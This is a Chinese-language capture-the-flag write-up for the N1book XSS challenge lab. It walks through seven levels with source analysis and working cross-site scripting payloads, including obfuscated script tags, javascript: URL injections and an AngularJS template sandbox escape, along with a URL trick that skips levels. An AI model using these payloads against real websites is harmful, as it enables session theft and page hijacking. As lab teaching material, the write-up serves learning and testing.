[第二章] web入门—N1book靶场详细思路讲解(一)
今天继续给大家带来N1book靶场第二章的解题思路;
文章目录
- [第二章 web进阶]XSS闯关
- 前置条件:
- level1
- level2
- level3
- level4
- level5
- level6(看不懂)
- level7
- 邪修办法
- 总结
[第二章 web进阶]XSS闯关
前置条件:
当然也可以自己手动搭建靶场:
docker-compose.yml
version: "3.2"services:
xss:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latestports:- 3000:3000
具体步骤:
启动方式:docker-compose up -d
创建文件:touch docker-compose.yml
测试完成后,删除整个环境:docker-compose down -v
(具体步骤可以问AI让其帮你完善相关的文件)
你能否过关斩将解决所有XSS问题最终获得flag呢?
level1
首先我们打开页面,看到如下:
点击开始,我们进入到第一关:
既然是xss,我们直接输入常见的xss语句即可:
# 随便拿点出来都够用了<script>prompt(1)</script><script>confirm(1)</script><script>var fn=window[490837..toString(1<<5)];fn(atob('YWxlcnQoMSk='));</script><script>var fn=window[String.fromCharCode(101,118,97,108)];fn(atob('YWxlcnQoMSk='));</script>
进入下一关;
level2
随后继续输入<script>alert(/xss/)</script>
,发现没有显示,查看一下源代码,发现被编码了:
可以看到username被escape函数编码了,比较难绕过。
解决方法:类似SQL注入中的堆叠注入,闭合前面的单引号,注释后面的单引号
# payload
';alert(1);'
下一关;
level3
我们尝试输入了 xss'
,然后查看源码,发现被转义了:
既然如此,我们通过innerHTML
直接插入 DOM,所以 我们可以尝试通过 HTML/事件属性绕过,而不是破坏 JS 语法。
<div id="ccc">Welcome xss'</div>
直接下一关;
level4
这里我们可以看到过几秒页面会重定向到当前页面;
# 源代码<script type="text/javascript">var time = 10;var jumpUrl;if(getQueryVariable('jumpUrl') == false){jumpUrl = location.href;}else{jumpUrl = getQueryVariable('jumpUrl');}setTimeout(jump,1000,time);function jump(time){if(time == 0){location.href = jumpUrl;}else{time = time - 1 ;document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;setTimeout(jump,1000,time);}}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}
我们观察源代码,可以得到:
- 用户可控变量是
jumpUrl
- 最终
jumpUrl
会被传给escape(jumpUrl)
,然后放入 模板字符串 `` 内 - escape() 会把大部分特殊字符(如 <, >, ', ", / 等)转义成 %xx,因此 直接插入 HTML/JS 标签是无效的。
通过分析代码,我注意到:
vars是query以
&
作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。
- 具体代码:var query = window.location.search.substring(1);
- var vars = query.split(“&”);
然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组,这样pair[0]相当于参数名,pair[1]相当于值:
- 具体代码:for (var i=0;i<vars.length;i++)
- var pair = vars[i].split(“=”);
然后进行判断,if(pair[0] == variable){return pair[1];}
- 具体代码:if(pair[0] == variable){return pair[1];}
所以根据上述,我们可以构建payload:
?jumpUrl=javascript:prompt('ctf')
- 弹出输入框或确认框,测试 XSS 触发。
可以看到也是弹窗,随便输入,确定即可:
level5
页面如下:
随便输入123,返回Cannot POST /level5
,只能查看源代码:
<script type="text/javascript">if(getQueryVariable('autosubmit') !== false){var autoForm = document.getElementById('autoForm');autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');autoForm.submit();}else{}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}</script>
代码审计:
- URL 参数控制:
autosubmit
不为空 → 表示启用自动提交。action
参数 → 控制 <form> 的提交地址。
- 当
autosubmit
存在时:可以控制 form 的提交目标。
autoForm.action = action ? action : location.href;
autoForm.submit();
getQueryVariable(‘action’)
不能为false,然后构造action:
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
所以构造payload:
?autosubmit=1&action=javascript:alert(1)
level6(看不懂)
输入后发现变成了文本内容:
没有头绪了,网上WP:
本题考查的是二次渲染导致的XSS,构造payload进行验证
- ?username={{3*3}}
页面输出了9,证实了是模板xss
并发现当前页面框架为为Angular,参考文章:AngularJS客户端模板注入(XSS)
反正最后的payload为:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
level7
直接得到flag:
邪修办法
直接将level1改为level7就行,你知我知就行;
–
总结
后面还有很多题,但我写到这里的时候没时间了,只能下次了。